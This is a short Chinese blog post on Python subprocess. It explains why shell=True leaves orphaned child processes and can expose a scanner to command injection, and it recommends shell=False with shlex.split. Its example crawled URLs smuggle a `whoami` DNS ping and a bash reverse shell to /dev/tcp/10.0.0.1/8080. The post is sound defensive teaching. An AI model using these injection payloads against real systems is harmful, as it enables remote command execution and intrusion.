安全开发之 python subprocess
2017-8-22 23:46:19 Author: mp.weixin.qq.com(查看原文) 阅读量:0 收藏

安全开发者的小黄鸭,会不定期的分享我在日常工作中遇到的一些问题、解决方案,以及新的姿势技巧,大多数推送的文章会比较短。

如果你在安全开发方面有什么问题,也可以直接回复公众号,我会抽时间解答~

一句话总结:subprocess.Popen 使用的时候,最好是 shell=False

ok~今天的主要内容是分析python subprocess模块的应用,以及需要注意的点,首先来看一段基本代码:

这段代码的作用是用 subprocess.Popen 开启一个基于 phantomjs 的爬虫进程,阻塞等待程序执行结束,使用正则表达式匹配出有效内容后返回。

程序做了超时处理,在调用communicate函数的时候指定了超时时间,如果任务超时,会调用kill函数杀掉当前进程。

但是在程序运行过程中,出现了多个phantomjs进程驻留内存的问题。

一开始怀疑kill()函数失效,为了检查kill()函数是否正常运行,我在 process.kill() 之前,插入了一句print(process.pid)。根据打印出来的pid,进程中并没有 subprocess 进程残留,即打印出来的 pid 和未结束的 phantomjs 进程pid并不相同,且phantomjs.pid = process.pid + 1。

似乎是subprocess在调度任务的时候,开启了两个进程,在父进程被kill的时候,并没有kill子进程(或者两个进程之间根本没有父子关系)。那为什么会开启两个进程呢?

搜索之后,发现了问题所在。shell=True 参数会模拟在shell中执行,先是起了shell进程,再从shell起了phantomjs进程。调用 process.kill() 之后,只杀死了shell进程。

所以解决方案也很明显,把 shell=True 改成 shell=False 即可。但 shell=False 的模式下,subprocess.Popen第一个参数传参需为 list,否则会报错。

对于原本是字符串格式的命令,可以用 shlex.split 函数来转换成 list。

在分布式扫描系统中,启用 shell=True 还可能导致远程命令执行漏洞。

shell=True模式下,subprocess.Popen函数的第一个参数为字符串,有些同学就会这样写:

当你抓取到的URL是这样的:

  • http://xxx.com/ & ping `whoami`.xxx.nslog.xx ;

  • http://xxx.com/ ; bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

再比如,当你抓取到的URL是这样的:

  • http://xxx.com/aaaaaaaaaaaaaaaa(省略十万个a)aaaaaa

如果没做特别限制的话,扫描者的程序可能就被狗带了。

当然还有一些其他的反击扫描者的方式,之后会和大家分享~


文章来源: https://mp.weixin.qq.com/s?__biz=MzU4NjIxNzkyNQ==&mid=2247483656&idx=1&sn=95ef341c5966ba867b3775cdd15ead07&chksm=fdffe1a2ca8868b4aff553c1537a8309ce4234df242f52d5774a57236cdaba5bec41b3a8ae90&scene=58&subscene=0#rd
如有侵权请联系:admin#unsafe.sh